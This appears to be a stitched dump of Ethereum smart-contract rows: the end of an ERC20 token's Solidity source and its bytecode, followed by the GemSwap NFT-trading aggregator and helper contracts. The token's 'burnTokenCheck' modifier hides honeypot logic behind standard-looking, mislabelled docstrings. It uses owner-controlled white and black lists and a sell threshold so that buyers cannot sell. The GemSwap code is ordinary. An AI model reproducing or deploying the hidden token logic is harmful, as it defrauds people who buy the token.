Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107c6565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107cf565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108bf945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109d8565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b03166109f3565b6101a5610a5d565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610abe565b6104a6610ad2565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610ae1565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b0c945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c5d565b8484610c61565b50600192915050565b60055490565b600061074c848484610d4d565b6107bc84610758610c5d565b6107b785604051806060016040528060288152602001611411602891396001600160a01b038a16600090815260046020526040812090610796610c5d565b6001600160a01b031681526020810191909152604001600020549190611309565b610c61565b5060019392505050565b60085460ff1690565b600a546001600160a01b0316331461082e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60055461083b9082610bfc565b600555600a546001600160a01b03166000908152602081905260409020546108639082610bfc565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610907576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109d25761094383828151811061092257fe5b602002602001015183838151811061093657fe5b6020026020010151610abe565b50838110156109ca57600180600085848151811061095d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109ca8382815181106109ab57fe5b6020908102919091010151600c546001600160a01b0316600019610c61565b60010161090a565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a3b576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610acb610c5d565b8484610d4d565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b54576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b7157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bc257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b57565b600082820183811015610c56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610ca65760405162461bcd60e51b815260040180806020018281038252602481526020018061145e6024913960400191505060405180910390fd5b6001600160a01b038216610ceb5760405162461bcd60e51b81526004018080602001828103825260228152602001806113c96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d805750600a546001600160a01b038481169116145b15610ef857600b80546001600160a01b0319166001600160a01b03848116919091179091558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b038516610e275760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b610e328686866113a0565b610e6f846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e9e9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3611301565b600a546001600160a01b0384811691161480610f215750600b546001600160a01b038481169116145b80610f395750600a546001600160a01b038381169116145b15610fbc57600a546001600160a01b038481169116148015610f6c5750816001600160a01b0316836001600160a01b0316145b15610f775760038190555b6001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415611028576001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff161515600114156110b257600b546001600160a01b03848116911614806110775750600c546001600160a01b038381169116145b610f775760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b60035481101561114657600b546001600160a01b0383811691161415610f77576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061116f5750600c546001600160a01b038381169116145b6111aa5760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b6001600160a01b0386166111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b0385166112345760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b61123f8686866113a0565b61127c846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b0380881660009081526020819052604080822093909355908716815220546112ab9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135d578181015183820152602001611345565b50505050905090810190601f16801561138a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205ccebbac0a4be508a44bda351867a746e4f9a184469cc69ba809df356b59eaf064736f6c634300060c0033
[ 38 ]
0xF24629fbb477E10F2CF331c2B7452d8596B5C7a5
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/access/Ownable.sol"; import "./utils/ReentrancyGuard.sol"; import "./markets/MarketRegistry.sol"; import "./SpecialTransferHelper.sol"; import "../../interfaces/markets/tokens/IERC20.sol"; import "../../interfaces/markets/tokens/IERC721.sol"; import "../../interfaces/markets/tokens/IERC1155.sol"; contract GemSwap is SpecialTransferHelper, Ownable, ReentrancyGuard { struct OpenseaTrades { uint256 value; bytes tradeData; } struct ERC20Details { address[] tokenAddrs; uint256[] amounts; } struct ERC1155Details { address tokenAddr; uint256[] ids; uint256[] amounts; } struct ConverstionDetails { bytes conversionData; } struct AffiliateDetails { address affiliate; bool isActive; } struct SponsoredMarket { uint256 marketId; bool isActive; } address public constant GOV = 0x83d841bC0450D5Ac35DCAd8d05Db53EbA29978c2; address public guardian; address public converter; address public punkProxy; uint256 public baseFees; bool public openForTrades; bool public openForFreeTrades; MarketRegistry public marketRegistry; AffiliateDetails[] public affiliates; SponsoredMarket[] public sponsoredMarkets; modifier isOpenForTrades() { require(openForTrades, "trades not allowed"); _; } modifier isOpenForFreeTrades() { require(openForFreeTrades, "free trades not allowed"); _; } constructor(address _marketRegistry, address _converter, address _guardian) { marketRegistry = MarketRegistry(_marketRegistry); converter = _converter; guardian = _guardian; baseFees = 0; openForTrades = true; openForFreeTrades = true; affiliates.push(AffiliateDetails(GOV, true)); } function setUp() external onlyOwner { // Create CryptoPunk Proxy IWrappedPunk(0xb7F7F6C52F2e2fdb1963Eab30438024864c313F6).registerProxy(); punkProxy = IWrappedPunk(0xb7F7F6C52F2e2fdb1963Eab30438024864c313F6).proxyInfo(address(this)); // approve wrapped mooncats rescue to Acclimated​MoonCats contract IERC721(0x7C40c393DC0f283F318791d746d894DdD3693572).setApprovalForAll(0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69, true); } // @audit This function is used to approve specific tokens to specific market contracts with high volume. // This is done in very rare cases for the gas optimization purposes. function setOneTimeApproval(IERC20 token, address operator, uint256 amount) external onlyOwner { token.approve(operator, amount); } function updateGuardian(address _guardian) external onlyOwner { guardian = _guardian; } function addAffiliate(address _affiliate) external onlyOwner { affiliates.push(AffiliateDetails(_affiliate, true)); } function updateAffiliate(uint256 _affiliateIndex, address _affiliate, bool _IsActive) external onlyOwner { affiliates[_affiliateIndex] = AffiliateDetails(_affiliate, _IsActive); } function addSponsoredMarket(uint256 _marketId) external onlyOwner { sponsoredMarkets.push(SponsoredMarket(_marketId, true)); } function updateSponsoredMarket(uint256 _marketIndex, uint256 _marketId, bool _isActive) external onlyOwner { sponsoredMarkets[_marketIndex] = SponsoredMarket(_marketId, _isActive); } function setBaseFees(uint256 _baseFees) external onlyOwner { baseFees = _baseFees; } function setOpenForTrades(bool _openForTrades) external onlyOwner { openForTrades = _openForTrades; } function setOpenForFreeTrades(bool _openForFreeTrades) external onlyOwner { openForFreeTrades = _openForFreeTrades; } // @audit we will setup a system that will monitor the contract for any leftover // assets. In case any asset is leftover, the system should be able to trigger this // function to close all the trades until the leftover assets are rescued. function closeAllTrades() external { require(_msgSender() == guardian); openForTrades = false; openForFreeTrades = false; } function setConverter(address _converter) external onlyOwner { converter = _converter; } function setMarketRegistry(MarketRegistry _marketRegistry) external onlyOwner { marketRegistry = _marketRegistry; } function _transferEth(address _to, uint256 _amount) internal { bool callStatus; assembly { // Transfer the ETH and store if it succeeded or not. callStatus := call(gas(), _to, _amount, 0, 0, 0, 0) } require(callStatus, "_transferEth: Eth transfer failed"); } function _collectFee(uint256[2] memory feeDetails) internal { require(feeDetails[1] >= baseFees, "Insufficient fee"); if (feeDetails[1] > 0) { AffiliateDetails memory affiliateDetails = affiliates[feeDetails[0]]; affiliateDetails.isActive ? _transferEth(affiliateDetails.affiliate, feeDetails[1]) : _transferEth(GOV, feeDetails[1]); } } function _checkCallResult(bool _success) internal pure { if (!_success) { // Copy revert reason from call assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } function _transferFromHelper( ERC20Details memory erc20Details, SpecialTransferHelper.ERC721Details[] memory erc721Details, ERC1155Details[] memory erc1155Details ) internal { // transfer ERC20 tokens from the sender to this contract for (uint256 i = 0; i < erc20Details.tokenAddrs.length; i++) { erc20Details.tokenAddrs[i].call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), erc20Details.amounts[i])); // IERC20(erc20Details.tokenAddrs[i]).transferFrom( // _msgSender(), // address(this), // erc20Details.amounts[i] // ); } // transfer ERC721 tokens from the sender to this contract for (uint256 i = 0; i < erc721Details.length; i++) { // accept CryptoPunks if (erc721Details[i].tokenAddr == 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB) { _acceptCryptoPunk(erc721Details[i]); } // accept Mooncat else if (erc721Details[i].tokenAddr == 0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6) { _acceptMoonCat(erc721Details[i]); } // default else { for (uint256 j = 0; j < erc721Details[i].ids.length; j++) { IERC721(erc721Details[i].tokenAddr).transferFrom( _msgSender(), address(this), erc721Details[i].ids[j] ); } } } // transfer ERC1155 tokens from the sender to this contract for (uint256 i = 0; i < erc1155Details.length; i++) { IERC1155(erc1155Details[i].tokenAddr).safeBatchTransferFrom( _msgSender(), address(this), erc1155Details[i].ids, erc1155Details[i].amounts, "" ); } } function _conversionHelper( ConverstionDetails[] memory _converstionDetails ) internal { for (uint256 i = 0; i < _converstionDetails.length; i++) { // convert to desired asset (bool success, ) = converter.delegatecall(_converstionDetails[i].conversionData); // check if the call passed successfully _checkCallResult(success); } } function _trade( MarketRegistry.TradeDetails[] memory _tradeDetails ) internal { for (uint256 i = 0; i < _tradeDetails.length; i++) { // get market details (address _proxy, bool _isLib, bool _isActive) = marketRegistry.markets(_tradeDetails[i].marketId); // market should be active require(_isActive, "_trade: InActive Market"); // execute trade if (_proxy == 0x7Be8076f4EA4A4AD08075C2508e481d6C946D12b) { _proxy.call{value:_tradeDetails[i].value}(_tradeDetails[i].tradeData); } else { (bool success, ) = _isLib ? _proxy.delegatecall(_tradeDetails[i].tradeData) : _proxy.call{value:_tradeDetails[i].value}(_tradeDetails[i].tradeData); // check if the call passed successfully _checkCallResult(success); } } } function _tradeSponsored( MarketRegistry.TradeDetails[] memory _tradeDetails, uint256 sponsoredMarketId ) internal returns (bool isSponsored) { for (uint256 i = 0; i < _tradeDetails.length; i++) { // check if the trade is for the sponsored market if (_tradeDetails[i].marketId == sponsoredMarketId) { isSponsored = true; } // get market details (address _proxy, bool _isLib, bool _isActive) = marketRegistry.markets(_tradeDetails[i].marketId); // market should be active require(_isActive, "_trade: InActive Market"); // execute trade if (_proxy == 0x7Be8076f4EA4A4AD08075C2508e481d6C946D12b) { _proxy.call{value:_tradeDetails[i].value}(_tradeDetails[i].tradeData); } else { (bool success, ) = _isLib ? _proxy.delegatecall(_tradeDetails[i].tradeData) : _proxy.call{value:_tradeDetails[i].value}(_tradeDetails[i].tradeData); // check if the call passed successfully _checkCallResult(success); } } } function _returnDust(address[] memory _tokens) internal { // return remaining ETH (if any) assembly { if gt(selfbalance(), 0) { let callStatus := call( gas(), caller(), selfbalance(), 0, 0, 0, 0 ) } } // return remaining tokens (if any) for (uint256 i = 0; i < _tokens.length; i++) { if (IERC20(_tokens[i]).balanceOf(address(this)) > 0) { IERC20(_tokens[i]).transfer(_msgSender(), IERC20(_tokens[i]).balanceOf(address(this))); } } } function batchBuyFromOpenSea( OpenseaTrades[] memory openseaTrades ) payable external nonReentrant { // execute trades for (uint256 i = 0; i < openseaTrades.length; i++) { // execute trade address(0x7Be8076f4EA4A4AD08075C2508e481d6C946D12b).call{value:openseaTrades[i].value}(openseaTrades[i].tradeData); } // return remaining ETH (if any) assembly { if gt(selfbalance(), 0) { let callStatus := call( gas(), caller(), selfbalance(), 0, 0, 0, 0 ) } } } function batchBuyWithETH( MarketRegistry.TradeDetails[] memory tradeDetails ) payable external nonReentrant { // execute trades _trade(tradeDetails); // return remaining ETH (if any) assembly { if gt(selfbalance(), 0) { let callStatus := call( gas(), caller(), selfbalance(), 0, 0, 0, 0 ) } } } function batchBuyWithERC20s( ERC20Details memory erc20Details, MarketRegistry.TradeDetails[] memory tradeDetails, ConverstionDetails[] memory converstionDetails, address[] memory dustTokens ) payable external nonReentrant { // transfer ERC20 tokens from the sender to this contract for (uint256 i = 0; i < erc20Details.tokenAddrs.length; i++) { erc20Details.tokenAddrs[i].call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), erc20Details.amounts[i])); // IERC20(erc20Details.tokenAddrs[i]).transferFrom( // msg.sender, // address(this), // erc20Details.amounts[i] // ); } // Convert any assets if needed _conversionHelper(converstionDetails); // execute trades _trade(tradeDetails); // return dust tokens (if any) _returnDust(dustTokens); } // swaps any combination of ERC-20/721/1155 // User needs to approve assets before invoking swap // WARNING: DO NOT SEND TOKENS TO THIS FUNCTION DIRECTLY!!! function multiAssetSwap( ERC20Details memory erc20Details, SpecialTransferHelper.ERC721Details[] memory erc721Details, ERC1155Details[] memory erc1155Details, ConverstionDetails[] memory converstionDetails, MarketRegistry.TradeDetails[] memory tradeDetails, address[] memory dustTokens, uint256[2] memory feeDetails // [affiliateIndex, ETH fee in Wei] ) payable external isOpenForTrades nonReentrant { // collect fees _collectFee(feeDetails); // transfer all tokens _transferFromHelper( erc20Details, erc721Details, erc1155Details ); // Convert any assets if needed _conversionHelper(converstionDetails); // execute trades _trade(tradeDetails); // return dust tokens (if any) _returnDust(dustTokens); } // Utility function that is used for free swaps for sponsored markets // WARNING: DO NOT SEND TOKENS TO THIS FUNCTION DIRECTLY!!! function multiAssetSwapWithoutFee( ERC20Details memory erc20Details, SpecialTransferHelper.ERC721Details[] memory erc721Details, ERC1155Details[] memory erc1155Details, ConverstionDetails[] memory converstionDetails, MarketRegistry.TradeDetails[] memory tradeDetails, address[] memory dustTokens, uint256 sponsoredMarketIndex ) payable external isOpenForFreeTrades nonReentrant { // fetch the marketId of the sponsored market SponsoredMarket memory sponsoredMarket = sponsoredMarkets[sponsoredMarketIndex]; // check if the market is active require(sponsoredMarket.isActive, "multiAssetSwapWithoutFee: InActive sponsored market"); // transfer all tokens _transferFromHelper( erc20Details, erc721Details, erc1155Details ); // Convert any assets if needed _conversionHelper(converstionDetails); // execute trades bool isSponsored = _tradeSponsored(tradeDetails, sponsoredMarket.marketId); // check if the trades include the sponsored market require(isSponsored, "multiAssetSwapWithoutFee: trades do not include sponsored market"); // return dust tokens (if any) _returnDust(dustTokens); } function onERC1155Received( address, address, uint256, uint256, bytes calldata ) public virtual returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes calldata ) public virtual returns (bytes4) { return this.onERC1155BatchReceived.selector; } function onERC721Received( address, address, uint256, bytes calldata ) external virtual returns (bytes4) { return 0x150b7a02; } // Used by ERC721BasicToken.sol function onERC721Received( address, uint256, bytes calldata ) external virtual returns (bytes4) { return 0xf0b9e5ba; } function supportsInterface(bytes4 interfaceId) external virtual view returns (bool) { return interfaceId == this.supportsInterface.selector; } receive() external payable {} // Emergency function: In case any ETH get stuck in the contract unintentionally // Only owner can retrieve the asset balance to a recipient address function rescueETH(address recipient) onlyOwner external { _transferEth(recipient, address(this).balance); } // Emergency function: In case any ERC20 tokens get stuck in the contract unintentionally // Only owner can retrieve the asset balance to a recipient address function rescueERC20(address asset, address recipient) onlyOwner external { IERC20(asset).transfer(recipient, IERC20(asset).balanceOf(address(this))); } // Emergency function: In case any ERC721 tokens get stuck in the contract unintentionally // Only owner can retrieve the asset balance to a recipient address function rescueERC721(address asset, uint256[] calldata ids, address recipient) onlyOwner external { for (uint256 i = 0; i < ids.length; i++) { IERC721(asset).transferFrom(address(this), recipient, ids[i]); } } // Emergency function: In case any ERC1155 tokens get stuck in the contract unintentionally // Only owner can retrieve the asset balance to a recipient address function rescueERC1155(address asset, uint256[] calldata ids, uint256[] calldata amounts, address recipient) onlyOwner external { for (uint256 i = 0; i < ids.length; i++) { IERC1155(asset).safeTransferFrom(address(this), recipient, ids[i], amounts[i], ""); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; /// @notice Gas optimized reentrancy protection for smart contracts. /// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) abstract contract ReentrancyGuard { uint256 private reentrancyStatus = 1; modifier nonReentrant() { require(reentrancyStatus == 1, "REENTRANCY"); reentrancyStatus = 2; _; reentrancyStatus = 1; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/access/Ownable.sol"; contract MarketRegistry is Ownable { struct TradeDetails { uint256 marketId; uint256 value; bytes tradeData; } struct Market { address proxy; bool isLib; bool isActive; } Market[] public markets; constructor(address[] memory proxies, bool[] memory isLibs) { for (uint256 i = 0; i < proxies.length; i++) { markets.push(Market(proxies[i], isLibs[i], true)); } } function addMarket(address proxy, bool isLib) external onlyOwner { markets.push(Market(proxy, isLib, true)); } function setMarketStatus(uint256 marketId, bool newStatus) external onlyOwner { Market storage market = markets[marketId]; market.isActive = newStatus; } function setMarketProxy(uint256 marketId, address newProxy, bool isLib) external onlyOwner { Market storage market = markets[marketId]; market.proxy = newProxy; market.isLib = isLib; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/utils/Context.sol"; import "../../interfaces/punks/ICryptoPunks.sol"; import "../../interfaces/punks/IWrappedPunk.sol"; import "../../interfaces/mooncats/IMoonCatsRescue.sol"; contract SpecialTransferHelper is Context { struct ERC721Details { address tokenAddr; address[] to; uint256[] ids; } function _uintToBytes5(uint256 id) internal pure returns (bytes5 slicedDataBytes5) { bytes memory _bytes = new bytes(32); assembly { mstore(add(_bytes, 32), id) } bytes memory tempBytes; assembly { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(5, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, 5) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), 27) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, 5) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } assembly { slicedDataBytes5 := mload(add(tempBytes, 32)) } } function _acceptMoonCat(ERC721Details memory erc721Details) internal { for (uint256 i = 0; i < erc721Details.ids.length; i++) { bytes5 catId = _uintToBytes5(erc721Details.ids[i]); address owner = IMoonCatsRescue(erc721Details.tokenAddr).catOwners(catId); require(owner == _msgSender(), "_acceptMoonCat: invalid mooncat owner"); IMoonCatsRescue(erc721Details.tokenAddr).acceptAdoptionOffer(catId); } } function _transferMoonCat(ERC721Details memory erc721Details) internal { for (uint256 i = 0; i < erc721Details.ids.length; i++) { IMoonCatsRescue(erc721Details.tokenAddr).giveCat(_uintToBytes5(erc721Details.ids[i]), erc721Details.to[i]); } } function _acceptCryptoPunk(ERC721Details memory erc721Details) internal { for (uint256 i = 0; i < erc721Details.ids.length; i++) { address owner = ICryptoPunks(erc721Details.tokenAddr).punkIndexToAddress(erc721Details.ids[i]); require(owner == _msgSender(), "_acceptCryptoPunk: invalid punk owner"); ICryptoPunks(erc721Details.tokenAddr).buyPunk(erc721Details.ids[i]); } } function _transferCryptoPunk(ERC721Details memory erc721Details) internal { for (uint256 i = 0; i < erc721Details.ids.length; i++) { ICryptoPunks(erc721Details.tokenAddr).transferPunk(erc721Details.to[i], erc721Details.ids[i]); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IERC20 { /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend 